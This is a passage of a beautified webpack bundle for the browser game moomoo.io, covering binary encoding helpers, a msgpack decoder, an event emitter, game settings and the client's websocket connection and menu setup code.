1809 var L = /[^+\/0-9A-Za-z-_]/g;
1810
1811 function F(e) {
1812 return e < 16 ? "0" + e.toString(16) : e.toString(16)
1813 }
1814
1815 function z(e, t) {
1816 var n;
1817 t = t || 1 / 0;
1818 for (var i = e.length, r = null, s = [], a = 0; a < i; ++a) {
1819 if ((n = e.charCodeAt(a)) > 55295 && n < 57344) {
1820 if (!r) {
1821 if (n > 56319) {
1822 (t -= 3) > -1 && s.push(239, 191, 189);
1823 continue
1824 }
1825 if (a + 1 === i) {
1826 (t -= 3) > -1 && s.push(239, 191, 189);
1827 continue
1828 }
1829 r = n;
1830 continue
1831 }
1832 if (n < 56320) {
1833 (t -= 3) > -1 && s.push(239, 191, 189), r = n;
1834 continue
1835 }
1836 n = 65536 + (r - 55296 << 10 | n - 56320)
1837 } else r && (t -= 3) > -1 && s.push(239, 191, 189);
1838 if (r = null, n < 128) {
1839 if ((t -= 1) < 0) break;
1840 s.push(n)
1841 } else if (n < 2048) {
1842 if ((t -= 2) < 0) break;
1843 s.push(n >> 6 | 192, 63 & n | 128)
1844 } else if (n < 65536) {
1845 if ((t -= 3) < 0) break;
1846 s.push(n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
1847 } else {
1848 if (!(n < 1114112)) throw new Error("Invalid code point");
1849 if ((t -= 4) < 0) break;
1850 s.push(n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128, 63 & n |
1851 128)
1852 }
1853 }
1854 return s
1855 }
1856
1857 function H(e) {
1858 return i.toByteArray(function(e) {
1859 if ((e = function(e) {
1860 return e.trim ? e.trim() : e.replace(/^\s+|\s+$/g, "")
1861 }(e).replace(L, "")).length < 2) return "";
1862 for (; e.length % 4 != 0;) e += "=";
1863 return e
1864 }(e))
1865 }
1866
1867 function V(e, t, n, i) {
1868 for (var r = 0; r < i && !(r + n >= t.length || r >= e.length); ++r) t[r +
1869 n] = e[r];
1870 return r
1871 }
1872 }).call(this, n(12))
1873}, function(e, t) {
1874 var n;
1875 n = function() {
1876 return this
1877 }();
1878 try {
1879 n = n || new Function("return this")()
1880 } catch (e) {
1881 "object" == typeof window && (n = window)
1882 }
1883 e.exports = n
1884}, function(e, t) {
1885 for (var n = t.uint8 = new Array(256), i = 0; i <= 255; i++) n[i] = r(i);
1886
1887 function r(e) {
1888 return function(t) {
1889 var n = t.reserve(1);
1890 t.buffer[n] = e
1891 }
1892 }
1893}, function(e, t, n) {
1894 t.FlexDecoder = s, t.FlexEncoder = a;
1895 var i = n(0),
1896 r = "BUFFER_SHORTAGE";
1897
1898 function s() {
1899 if (!(this instanceof s)) return new s
1900 }
1901
1902 function a() {
1903 if (!(this instanceof a)) return new a
1904 }
1905
1906 function o() {
1907 throw new Error("method not implemented: write()")
1908 }
1909
1910 function c() {
1911 throw new Error("method not implemented: fetch()")
1912 }
1913
1914 function l() {
1915 return this.buffers && this.buffers.length ? (this.flush(), this.pull()) :
1916 this.fetch()
1917 }
1918
1919 function h(e) {
1920 (this.buffers || (this.buffers = [])).push(e)
1921 }
1922
1923 function u() {
1924 return (this.buffers || (this.buffers = [])).shift()
1925 }
1926
1927 function f(e) {
1928 return function(t) {
1929 for (var n in e) t[n] = e[n];
1930 return t
1931 }
1932 }
1933 s.mixin = f({
1934 bufferish: i,
1935 write: function(e) {
1936 var t = this.offset ? i.prototype.slice.call(this.buffer, this.offset) :
1937 this.buffer;
1938 this.buffer = t ? e ? this.bufferish.concat([t, e]) : t : e, this.offset =
1939 0
1940 },
1941 fetch: c,
1942 flush: function() {
1943 for (; this.offset < this.buffer.length;) {
1944 var e, t = this.offset;
1945 try {
1946 e = this.fetch()
1947 } catch (e) {
1948 if (e && e.message != r) throw e;
1949 this.offset = t;
1950 break
1951 }
1952 this.push(e)
1953 }
1954 },
1955 push: h,
1956 pull: u,
1957 read: l,
1958 reserve: function(e) {
1959 var t = this.offset,
1960 n = t + e;
1961 if (n > this.buffer.length) throw new Error(r);
1962 return this.offset = n, t
1963 },
1964 offset: 0
1965 }), s.mixin(s.prototype), a.mixin = f({
1966 bufferish: i,
1967 write: o,
1968 fetch: function() {
1969 var e = this.start;
1970 if (e < this.offset) {
1971 var t = this.start = this.offset;
1972 return i.prototype.slice.call(this.buffer, e, t)
1973 }
1974 },
1975 flush: function() {
1976 for (; this.start < this.offset;) {
1977 var e = this.fetch();
1978 e && this.push(e)
1979 }
1980 },
1981 push: h,
1982 pull: function() {
1983 var e = this.buffers || (this.buffers = []),
1984 t = e.length > 1 ? this.bufferish.concat(e) : e[0];
1985 return e.length = 0, t
1986 },
1987 read: l,
1988 reserve: function(e) {
1989 var t = 0 | e;
1990 if (this.buffer) {
1991 var n = this.buffer.length,
1992 i = 0 | this.offset,
1993 r = i + t;
1994 if (r < n) return this.offset = r, i;
1995 this.flush(), e = Math.max(e, Math.min(2 * n, this.maxBufferSize))
1996 }
1997 return e = Math.max(e, this.minBufferSize), this.buffer = this.bufferish
1998 .alloc(e), this.start = 0, this.offset = t, 0
1999 },
2000 send: function(e) {
2001 var t = e.length;
2002 if (t > this.minBufferSize) this.flush(), this.push(e);
2003 else {
2004 var n = this.reserve(t);
2005 i.prototype.copy.call(e, this.buffer, n)
2006 }
2007 },
2008 maxBufferSize: 65536,
2009 minBufferSize: 2048,
2010 offset: 0,
2011 start: 0
2012 }), a.mixin(a.prototype)
2013}, function(e, t, n) {
2014 t.decode = function(e, t) {
2015 var n = new i(t);
2016 return n.write(e), n.read()
2017 };
2018 var i = n(16).DecodeBuffer
2019}, function(e, t, n) {
2020 t.DecodeBuffer = r;
2021 var i = n(8).preset;
2022
2023 function r(e) {
2024 if (!(this instanceof r)) return new r(e);
2025 if (e && (this.options = e, e.codec)) {
2026 var t = this.codec = e.codec;
2027 t.bufferish && (this.bufferish = t.bufferish)
2028 }
2029 }
2030 n(14).FlexDecoder.mixin(r.prototype), r.prototype.codec = i, r.prototype.fetch =
2031 function() {
2032 return this.codec.decode(this)
2033 }
2034}, function(e, t, n) {
2035 var i = n(4),
2036 r = n(7),
2037 s = r.Uint64BE,
2038 a = r.Int64BE;
2039 t.getReadFormat = function(e) {
2040 var t = o.hasArrayBuffer && e && e.binarraybuffer,
2041 n = e && e.int64;
2042 return {
2043 map: l && e && e.usemap ? u : h,
2044 array: f,
2045 str: d,
2046 bin: t ? g : p,
2047 ext: m,
2048 uint8: y,
2049 uint16: v,
2050 uint32: b,
2051 uint64: S(8, n ? E : T),
2052 int8: k,
2053 int16: w,
2054 int32: x,
2055 int64: S(8, n ? M : I),
2056 float32: S(4, A),
2057 float64: S(8, P)
2058 }
2059 }, t.readUint8 = y;
2060 var o = n(0),
2061 c = n(6),
2062 l = "undefined" != typeof Map;
2063
2064 function h(e, t) {
2065 var n, i = {},
2066 r = new Array(t),
2067 s = new Array(t),
2068 a = e.codec.decode;
2069 for (n = 0; n < t; n++) r[n] = a(e), s[n] = a(e);
2070 for (n = 0; n < t; n++) i[r[n]] = s[n];
2071 return i
2072 }
2073
2074 function u(e, t) {
2075 var n, i = new Map,
2076 r = new Array(t),
2077 s = new Array(t),
2078 a = e.codec.decode;
2079 for (n = 0; n < t; n++) r[n] = a(e), s[n] = a(e);
2080 for (n = 0; n < t; n++) i.set(r[n], s[n]);
2081 return i
2082 }
2083
2084 function f(e, t) {
2085 for (var n = new Array(t), i = e.codec.decode, r = 0; r < t; r++) n[r] = i(
2086 e);
2087 return n
2088 }
2089
2090 function d(e, t) {
2091 var n = e.reserve(t),
2092 i = n + t;
2093 return c.toString.call(e.buffer, "utf-8", n, i)
2094 }
2095
2096 function p(e, t) {
2097 var n = e.reserve(t),
2098 i = n + t,
2099 r = c.slice.call(e.buffer, n, i);
2100 return o.from(r)
2101 }
2102
2103 function g(e, t) {
2104 var n = e.reserve(t),
2105 i = n + t,
2106 r = c.slice.call(e.buffer, n, i);
2107 return o.Uint8Array.from(r).buffer
2108 }
2109
2110 function m(e, t) {
2111 var n = e.reserve(t + 1),
2112 i = e.buffer[n++],
2113 r = n + t,
2114 s = e.codec.getExtUnpacker(i);
2115 if (!s) throw new Error("Invalid ext type: " + (i ? "0x" + i.toString(16) :
2116 i));
2117 return s(c.slice.call(e.buffer, n, r))
2118 }
2119
2120 function y(e) {
2121 var t = e.reserve(1);
2122 return e.buffer[t]
2123 }
2124
2125 function k(e) {
2126 var t = e.reserve(1),
2127 n = e.buffer[t];
2128 return 128 & n ? n - 256 : n
2129 }
2130
2131 function v(e) {
2132 var t = e.reserve(2),
2133 n = e.buffer;
2134 return n[t++] << 8 | n[t]
2135 }
2136
2137 function w(e) {
2138 var t = e.reserve(2),
2139 n = e.buffer,
2140 i = n[t++] << 8 | n[t];
2141 return 32768 & i ? i - 65536 : i
2142 }
2143
2144 function b(e) {
2145 var t = e.reserve(4),
2146 n = e.buffer;
2147 return 16777216 * n[t++] + (n[t++] << 16) + (n[t++] << 8) + n[t]
2148 }
2149
2150 function x(e) {
2151 var t = e.reserve(4),
2152 n = e.buffer;
2153 return n[t++] << 24 | n[t++] << 16 | n[t++] << 8 | n[t]
2154 }
2155
2156 function S(e, t) {
2157 return function(n) {
2158 var i = n.reserve(e);
2159 return t.call(n.buffer, i, !0)
2160 }
2161 }
2162
2163 function T(e) {
2164 return new s(this, e).toNumber()
2165 }
2166
2167 function I(e) {
2168 return new a(this, e).toNumber()
2169 }
2170
2171 function E(e) {
2172 return new s(this, e)
2173 }
2174
2175 function M(e) {
2176 return new a(this, e)
2177 }
2178
2179 function A(e) {
2180 return i.read(this, e, !1, 23, 4)
2181 }
2182
2183 function P(e) {
2184 return i.read(this, e, !1, 52, 8)
2185 }
2186}, function(e, t, n) {
2187 ! function(t) {
2188 e.exports = t;
2189 var n = "listeners",
2190 i = {
2191 on: function(e, t) {
2192 return a(this, e).push(t), this
2193 },
2194 once: function(e, t) {
2195 var n = this;
2196 return i.originalListener = t, a(n, e).push(i), n;
2197
2198 function i() {
2199 s.call(n, e, i), t.apply(this, arguments)
2200 }
2201 },
2202 off: s,
2203 emit: function(e, t) {
2204 var n = this,
2205 i = a(n, e, !0);
2206 if (!i) return !1;
2207 var r = arguments.length;
2208 if (1 === r) i.forEach((function(e) {
2209 e.call(n)
2210 }));
2211 else if (2 === r) i.forEach((function(e) {
2212 e.call(n, t)
2213 }));
2214 else {
2215 var s = Array.prototype.slice.call(arguments, 1);
2216 i.forEach((function(e) {
2217 e.apply(n, s)
2218 }))
2219 }
2220 return !!i.length
2221 }
2222 };
2223
2224 function r(e) {
2225 for (var t in i) e[t] = i[t];
2226 return e
2227 }
2228
2229 function s(e, t) {
2230 var i;
2231 if (arguments.length) {
2232 if (t) {
2233 if (i = a(this, e, !0)) {
2234 if (!(i = i.filter((function(e) {
2235 return e !== t && e.originalListener !== t
2236 }))).length) return s.call(this, e);
2237 this[n][e] = i
2238 }
2239 } else if ((i = this[n]) && (delete i[e], !Object.keys(i).length)) return s
2240 .call(this)
2241 } else delete this[n];
2242 return this
2243 }
2244
2245 function a(e, t, i) {
2246 if (!i || e[n]) {
2247 var r = e[n] || (e[n] = {});
2248 return r[t] || (r[t] = [])
2249 }
2250 }
2251 r(t.prototype), t.mixin = r
2252 }((
2253 /**
2254 * event-lite.js - Light-weight EventEmitter (less than 1KB when gzipped)
2255 *
2256 * @copyright Yusuke Kawasaki
2257 * @license MIT
2258 * @constructor
2259 * @see https://github.com/kawanet/event-lite
2260 * @see http://kawanet.github.io/event-lite/EventLite.html
2261 * @example
2262 * var EventLite = require("event-lite");
2263 *
2264 * function MyClass() {...} // your class
2265 *
2266 * EventLite.mixin(MyClass.prototype); // import event methods
2267 *
2268 * var obj = new MyClass();
2269 * obj.on("foo", function() {...}); // add event listener
2270 * obj.once("bar", function() {...}); // add one-time event listener
2271 * obj.emit("foo"); // dispatch event
2272 * obj.emit("bar"); // dispatch another event
2273 * obj.off("foo"); // remove event listener
2274 */
2275 function e() {
2276 if (!(this instanceof e)) return new e
2277 }))
2278}, function(e, t, n) {
2279 (function(t) {
2280 e.exports.maxScreenWidth = 1920, e.exports.maxScreenHeight = 1080, e.exports
2281 .serverUpdateRate = 9, e.exports.maxPlayers = 50, e.exports.maxPlayersHard = 50, e.exports.collisionDepth = 6, e.exports.minimapRate = 3e3, e.exports.colGrid =
2282 10, e.exports.clientSendRate = 5, e.exports.healthBarWidth = 50, e.exports
2283 .healthBarPad = 4.5, e.exports.iconPadding = 15, e.exports.iconPad = .9,
2284 e.exports.deathFadeout = 1, e.exports.crownIconScale = 60, e.exports.crownPad =
2285 35, e.exports.chatCountdown = 3000, e.exports.chatCooldown = 0, e.exports
2286 .inSandbox = t && "mm_exp" === t.env.VULTR_SCHEME, e.exports.maxAge = 100,
2287 e.exports.gatherAngle = Math.PI / 2.6, e.exports.gatherWiggle = 10, e.exports
2288 .hitReturnRatio = .25, e.exports.hitAngle = Math.PI / 2, e.exports.playerScale =
2289 35, e.exports.playerSpeed = .0016, e.exports.playerDecel = .993, e.exports
2290 .nameY = 34, e.exports.skinColors = ["#bf8f54", "#cbb091", "#896c4b", "#fadadc", "#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3", "#9100ff"
2291 ], e.exports.animalCount = 7, e.exports.aiTurnRandom = .06, e.exports.cowNames = [
2292 "Lovable", "RinZ", "Maple", "KGNoMercy", "MOHela", "Zod", "Wxone",
2293 "WaspHype", "XyZ", "ExtinctioN", "GayBoooN", "Ashura", "Arsen", "ArenaSlayer",
2294 "DeAtHKiller", "DeAtHWans", "GodSpeed", "Sn1ph3r", "Kikioo", "Kiko", "Yamato", "Sn1ph3r",
2295 "Afterneath", "MrSpikes", "PandaClaus", "KingKiller", "Accident", "FiShY", "BiRdY",
2296 "Tolerate", "DerpyDerp", "Nanityato", "DeStiny", "aQuiVeR", "Slayer69", "PlankTonV",
2297 "SoulBreaker", "Pet", "Baki", "UnStoppable", "UnCrushh", "ShellShock", "COLOR", "GodMode",
2298 "AndManyMore"
2299 ], e.exports.shieldAngle = Math.PI / 3, e.exports.weaponVariants = [{
2300 id: 0,
2301 src: "",
2302 xp: 0,
2303 val: 1
2304 }, {
2305 id: 1,
2306 src: "_g",
2307 xp: 3e3,
2308 val: 1.1
2309 }, {
2310 id: 2,
2311 src: "_d",
2312 xp: 7e3,
2313 val: 1.18
2314 }, {
2315 id: 3,
2316 src: "_r",
2317 poison: !0,
2318 xp: 12e3,
2319 val: 1.18
2320 }], e.exports.fetchVariant = function(t) {
2321 for (var n = t.weaponXP[t.weaponIndex] || 0, i = e.exports.weaponVariants
2322 .length - 1; i >= 0; --i)
2323 if (n >= e.exports.weaponVariants[i].xp) return e.exports.weaponVariants[
2324 i]
2325 }, e.exports.resourceTypes = ["wood", "food", "stone", "points"], e.exports
2326 .areaCount = 7, e.exports.treesPerArea = 9, e.exports.bushesPerArea = 3,
2327 e.exports.totalRocks = 32, e.exports.goldOres = 7, e.exports.riverWidth =
2328 724, e.exports.riverPadding = 114, e.exports.waterCurrent = .0011, e.exports
2329 .waveSpeed = 1e-4, e.exports.waveMax = 1.3, e.exports.treeScales = [150,
2330 160, 165, 175
2331 ], e.exports.bushScales = [80, 85, 95], e.exports.rockScales = [80, 85,
2332 90
2333 ], e.exports.snowBiomeTop = 2400, e.exports.snowSpeed = .75, e.exports.maxNameLength =
2334 15, e.exports.mapScale = 14400, e.exports.mapPingScale = 40, e.exports.mapPingTime =
2335 2200
2336 }).call(this, n(41))
2337}, function(e, t) {
2338 var n = {
2339 utf8: {
2340 stringToBytes: function(e) {
2341 return n.bin.stringToBytes(unescape(encodeURIComponent(e)))
2342 },
2343 bytesToString: function(e) {
2344 return decodeURIComponent(escape(n.bin.bytesToString(e)))
2345 }
2346 },
2347 bin: {
2348 stringToBytes: function(e) {
2349 for (var t = [], n = 0; n < e.length; n++) t.push(255 & e.charCodeAt(n));
2350 return t
2351 },
2352 bytesToString: function(e) {
2353 for (var t = [], n = 0; n < e.length; n++) t.push(String.fromCharCode(e[
2354 n]));
2355 return t.join("")
2356 }
2357 }
2358 };
2359 e.exports = n
2360}, function(e, t, n) {
2361 "use strict";
2362 window.loadedScript = !0;
2363 var i = "127.0.0.1" !== location.hostname && !location.hostname.startsWith(
2364 "192.168.");
2365 n(22);
2366 var r = n(23),
2367 s = n(42),
2368 a = n(43),
2369 o = n(19),
2370 c = n(44),
2371 l = n(45),
2372 h = (n(46), n(47)),
2373 u = n(48),
2374 f = n(55),
2375 d = n(56),
2376 p = n(57),
2377 g = n(58).obj,
2378 m = new a.TextManager,
2379 y = new(n(59))("moomoo.io", 3e3, o.maxPlayers, 5, !1);
2380 y.debugLog = !1;
2381 var k = !1;
2382
2383 function v() {
2384 ht && ut && (k = !0, i ? window.grecaptcha.execute(
2385 "6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
2386 action: "homepage"
2387 }).then((function(e) {
2388 w(e)
2389 })) : w(null))
2390 }
2391
2392 function w(e) {
2393 y.start((function(t, n, a) {
2394 var c = (i ? "wss" : "ws") + "://" + t + ":8008/?gameIndex=" + a;
2395 e && (c += "&token=" + encodeURIComponent(e)), r.connect(c, (function(e) {
2396 Bi(), setInterval(() => Bi(), 2500), e ? ft(e) : (ue.onclick = s.checkTrusted(
2397 (function() {
2398 ! function() {
2399 var e = ++bt > 1,
2400 t = Date.now() - wt > vt;
2401 e && t ? (wt = Date.now(), xt()) : Tn()
2402 }()
2403 })), s.hookTouchEvents(ue), fe.onclick = s.checkTrusted((
2404 function() {
2405 Oi("https://krunker.io")
2406 })), s.hookTouchEvents(fe), pe.onclick = s.checkTrusted((
2407 function() {
2408 setTimeout((function() {
2409 ! function() {
2410 var e = xe.value,
2411 t = prompt("party key", e);
2412 t && (window.onbeforeunload = void 0, window.location.href =
2413 "/?server=" + t)
2414 }()
2415 }), 10)
2416 })), s.hookTouchEvents(pe), ge.onclick = s.checkTrusted((
2417 function() {
2418 Ae.classList.contains("showing") ? (Ae.classList.remove(
2419 "showing"), me.innerText = "Settings") : (Ae.classList.add(
2420 "showing"), me.innerText = "Close")
2421 })), s.hookTouchEvents(ge), ye.onclick = s.checkTrusted((
2422 function() {
2423 yn(), "block" != Ye.style.display ? Ut() : Ye.style.display =
2424 "none"
2425 })), s.hookTouchEvents(ye), ke.onclick = s.checkTrusted((
2426 function() {
2427 "block" != Qe.style.display ? (Qe.style.display = "block", Ye.style
2428 .display = "none", an(), Gt()) : Qe.style.display = "none"
2429 })), s.hookTouchEvents(ke), ve.onclick = s.checkTrusted((
2430 function() {
2431 rn()
2432 })), s.hookTouchEvents(ve), Ne.onclick = s.checkTrusted((
2433 function() {
2434 xn()
2435 })), s.hookTouchEvents(Ne), function() {
2436 for (var e = 0; e < jn.length; ++e) {
2437 var t = new Image;
2438 t.onload = function() {
2439 this.isLoaded = !0
2440 }, t.src = ".././img/icons/" + jn[e] + ".png", Rn[jn[e]] = t
2441 }
2442 }(), Pe.style.display = "none", Me.style.display = "block", Le.value =
2443 E("moo_name") || "",
2444 function() {
2445 var e = E("native_resolution");
2446 Zt(e ? "true" == e : "undefined" != typeof cordova), A = "true" ==
2447 E("show_ping"), Ie.hidden = !A, E("moo_moosic"), setInterval((
2448 function() {
2449 window.cordova && (document.getElementById(
2450 "downloadButtonContainer").classList.add("cordova"),
2451 document.getElementById("mobileDownloadButtonContainer").classList
2452 .add("cordova"))
2453 }), 1e3), en(), s.removeAllChildren(Ce);
2454 for (var t = 0; t < l.weapons.length + l.list.length; ++t) !
2455 function(e) {
2456 s.generateElement({
2457 id: "actionBarItem" + e,
2458 class: "actionBarItem",
2459 style: "display:none",
2460 onmouseout: function() {
2461 Tt()
2462 },
2463 parent: Ce
2464 })
2465 }(t);
2466 for (t = 0; t < l.list.length + l.weapons.length; ++t) ! function(
2467 e) {
2468 var t = document.createElement("canvas");
2469 t.width = t.height = 66;
2470 var n = t.getContext("2d");
2471 if (n.translate(t.width / 2, t.height / 2), n.imageSmoothingEnabled = !
2472 1, n.webkitImageSmoothingEnabled = !1, n.mozImageSmoothingEnabled = !
2473 1, l.weapons[e]) {
2474 n.rotate(Math.PI / 4 + Math.PI);
2475 var i = new Image;
2476 Zn[l.weapons[e].src] = i, i.onload = function() {
2477 this.isLoaded = !0;
2478 var i = 1 / (this.height / this.width),
2479 r = l.weapons[e].iPad || 1;
2480 n.drawImage(this, -t.width * r * o.iconPad * i / 2, -t.height *
2481 r * o.iconPad / 2, t.width * r * i * o.iconPad, t.height *
2482 r * o.iconPad), n.fillStyle = "rgba(0, 0, 70, 0.1)", n.globalCompositeOperation =
2483 "source-atop", n.fillRect(-t.width / 2, -t.height / 2, t.width,
2484 t.height), document.getElementById("actionBarItem" + e).style
2485 .backgroundImage = "url(" + t.toDataURL() + ")"
2486 }, i.src = ".././img/weapons/" + l.weapons[e].src + ".png",
2487 (r = document.getElementById("actionBarItem" + e)).onmouseover =
2488 s.checkTrusted((function() {
2489 Tt(l.weapons[e], !0)
2490 })), r.onclick = s.checkTrusted((function() {
2491 Sn(e, !0)
2492 })), s.hookTouchEvents(r)
2493 } else {
2494 i = ri(l.list[e - l.weapons.length], !0);
2495 var r, a = Math.min(t.width - o.iconPadding, i.width);
2496 n.globalAlpha = 1, n.drawImage(i, -a / 2, -a / 2, a, a), n.fillStyle =
2497 "rgba(0, 0, 70, 0.1)", n.globalCompositeOperation =
2498 "source-atop", n.fillRect(-a / 2, -a / 2, a, a), document.getElementById(
2499 "actionBarItem" + e).style.backgroundImage = "url(" + t.toDataURL() +
2500 ")", (r = document.getElementById("actionBarItem" + e)).onmouseover =
2501 s.checkTrusted((function() {
2502 Tt(l.list[e - l.weapons.length])
2503 })), r.onclick = s.checkTrusted((function() {
2504 Sn(e - l.weapons.length)
2505 })), s.hookTouchEvents(r)
2506 }
2507 }(t);
2508 Le.ontouchstart = s.checkTrusted((function(e) {
2509 e.preventDefault();
2510 var t = prompt("enter name", e.currentTarget.value);
2511 e.currentTarget.value = t.slice(0, 15)
2512 })), Se.checked = M, Se.onchange = s.checkTrusted((function(e) {
2513 Zt(e.target.checked)
2514 })), Te.checked = A, Te.onchange = s.checkTrusted((function(e) {
2515 A = Te.checked, Ie.hidden = !A, I("show_ping", A ? "true" :
2516 "false")
2517 }))
2518 }())
2519 }), {
2520 id: st,
2521 d: ft,
2522 1: En,
2523 2: vi,
2524 4: wi,
2525 33: Ti,
2526 5: Ln,
2527 6: li,
2528 a: gi,
2529 aa: pi,
2530 7: Wn,
2531 8: hi,
2532 sp: ui,
2533 9: xi,
2534 h: Si,
2535 11: Pn,
2536 12: Cn,
2537 13: Bn,
2538 14: bi,
2539 15: Dn,
2540 16: Un,
2541 17: $t,
2542 18: fi,
2543 19: di,
2544 20: Ci,
2545 ac: Ot,
2546 ad: _t,
2547 an: Bt,
2548 st: Rt,
2549 sa: jt,
2550 us: Nt,
2551 ch: hn,
2552 mm: Wt,
2553 t: Mn,
2554 p: Yt,
2555 pp: Pi
2556 }), pt(), setTimeout(() => gt(), 3e3)
2557 }), (function(e) {
2558 console.error("Vultr error:", e), alert("Error:\n" + e), ft(
2559 "disconnected")
2560 }))
2561 }
2562 var b, x = new g(o, s),
2563 S = Math.PI,
2564 T = 2 * S;
2565
2566 function I(e, t) {
2567 b && localStorage.setItem(e, t)
2568 }
2569
2570 function E(e) {
2571 return b ? localStorage.getItem(e) : null
2572 }
2573 Math.lerpAngle = function(e, t, n) {
2574 Math.abs(t - e) > S && (e > t ? t += T : e += T);
2575 var i = t + (e - t) * n;
2576 return i >= 0 && i <= T ? i : i % T
2577 }, CanvasRenderingContext2D.prototype.roundRect = function(e, t, n, i, r) {
2578 return n < 2 * r && (r = n / 2), i < 2 * r && (r = i / 2), r < 0 && (r = 0),
2579 this.beginPath(), this.moveTo(e + r, t), this.arcTo(e + n, t, e + n, t +
2580 i, r), this.arcTo(e + n, t + i, e, t + i, r), this.arcTo(e, t + i, e, t,
2581 r), this.arcTo(e, t, e + n, t, r), this.closePath(), this
2582 }, "undefined" != typeof Storage && (b = !0), E("consent") || (consentBlock
2583 .style.display = "block"), window.checkTerms = function(e) {
2584 e ? (consentBlock.style.display = "none", I("consent", 1)) : $(
2585 "#consentShake").effect("shake")
2586 };
2587 var M, A, P, B, C, O, R, j, _, U, D, L, F, z, H = E("moofoll"),
2588 V = 1,
2589 q = Date.now(),
2590 Y = [],
2591 W = [],
2592 X = [],
2593 N = [],
2594 G = [],
2595 J = new p(d, G, W, Y, nt, l, o, s),
2596 K = n(70),
2597 Q = n(71),
2598 Z = new K(Y, Q, W, l, null, o, s),
2599 ee = 1,
2600 te = 0,
2601 ne = 0,
2602 ie = 0,
2603 re = {
2604 id: -1,
2605 startX: 0,
2606 startY: 0,
2607 currentX: 0,
2608 currentY: 0
2609 },
2610 se = {
2611 id: -1,
2612 startX: 0,
2613 startY: 0,
2614 currentX: 0,
2615 currentY: 0
2616 },
2617 ae = 0,
2618 oe = o.maxScreenWidth,
2619 ce = o.maxScreenHeight,
2620 le = !1,
2621 he = (document.getElementById("ad-container"), document.getElementById(
2622 "mainMenu")),
2623 ue = document.getElementById("enterGame"),
2624 fe = document.getElementById("promoImg"),
2625 de = document.getElementById("partyButton"),
2626 pe = document.getElementById("joinPartyButton"),
2627 ge = document.getElementById("settingsButton"),
2628 me = ge.getElementsByTagName("span")[0],
2629 ye = document.getElementById("allianceButton"),
2630 ke = document.getElementById("storeButton"),
2631 ve = document.getElementById("chatButton"),
2632 we = document.getElementById("gameCanvas"),
2633 be = we.getContext("2d"),
2634 xe = document.getElementById("serverBrowser"),
2635 Se = document.getElementById("nativeResolution"),
2636 Te = document.getElementById("showPing"),
2637 Ie = (document.getElementById("playMusic"), document.getElementById(
2638 "pingDisplay")),
2639 Ee = document.getElementById("shutdownDisplay"),
2640 Me = document.getElementById("menuCardHolder"),
2641 Ae = document.getElementById("guideCard"),
2642 Pe = document.getElementById("loadingText"),
2643 Be = document.getElementById("gameUI"),
2644 Ce = document.getElementById("actionBar"),
2645 Oe = document.getElementById("scoreDisplay"),
2646 Re = document.getElementById("foodDisplay"),
2647 je = document.getElementById("woodDisplay"),
2648 _e = document.getElementById("stoneDisplay"),
2649 Ue = document.getElementById("killCounter"),
2650 De = document.getElementById("leaderboardData"),
2651 Le = document.getElementById("nameInput"),
2652 Fe = document.getElementById("itemInfoHolder"),
2653 ze = document.getElementById("ageText"),
2654 He = document.getElementById("ageBarBody"),
2655 Ve = document.getElementById("upgradeHolder"),
2656 qe = document.getElementById("upgradeCounter"),
2657 Ye = document.getElementById("allianceMenu"),
2658 We = document.getElementById("allianceHolder"),
2659 Xe = document.getElementById("allianceManager"),
2660 Ne = document.getElementById("mapDisplay"),
2661 Ge = document.getElementById("diedText"),
2662 Je = document.getElementById("skinColorHolder"),
2663 Ke = Ne.getContext("2d");
2664 Ne.width = 300, Ne.height = 300;
2665 var Qe = document.getElementById("storeMenu"),
2666 $e = document.getElementById("storeHolder"),
2667 Ze = document.getElementById("noticationDisplay"),
2668 et = f.hats,
2669 tt = f.accessories,
2670 nt = new h(c, N, s, o),
2671 it = "#525252",
2672 rt = "#3d3f42";
2673
2674 function st(e) {
2675 X = e.teams
2676 }
2677 var at = document.getElementById("featuredYoutube"),
2678 ot = [{
2679 name: "SweetCakes",
2680 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2681 }, {
2682 name: "SweetCakes",
2683 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2684 }, {
2685 name: "SweetCakes",
2686 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2687 }, {
2688 name: "SweetCakes",
2689 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2690 }, {
2691 name: "SweetCakes",
2692 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2693 }, {
2694 name: "SweetCakes",
2695 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2696 }, {
2697 name: "SweetCakes",
2698 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2699 }, {
2700 name: "SweetCakes",
2701 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2702 }, {
2703 name: "SweetCakes",
2704 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2705 }, {
2706 name: "SweetCakes",
2707 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2708 }, {
2709 name: "SweetCakes",
2710 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2711 }, {
2712 name: "SweetCakes",
2713 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2714 }, {
2715 name: "SweetCakes",
2716 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2717 }, {
2718 name: "SweetCakes",
2719 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2720 }, {
2721 name: "SweetCakes",
2722 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2723 }, {
2724 name: "SweetCakes",
2725 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2726 }, {
2727 name: "SweetCakes",
2728 link: "https://www.youtube.com/channel/UCzQiEmkjApRRskgHKstNgBQ"
2729 }],
2730 ct = ot[s.randInt(0, ot.length - 1)];
2731 at.innerHTML = "<a target='_blank' class='ytLink' href='" + ct.link +
2732 "'><i class='material-icons' style='vertical-align: top;'></i> " +
2733 ct.name + "</a>";
2734 var lt = !0,
2735 ht = !1,
2736 ut = !1;
2737
2738 function ft(e) {
2739 r.close(), dt(e)
2740 }
2741
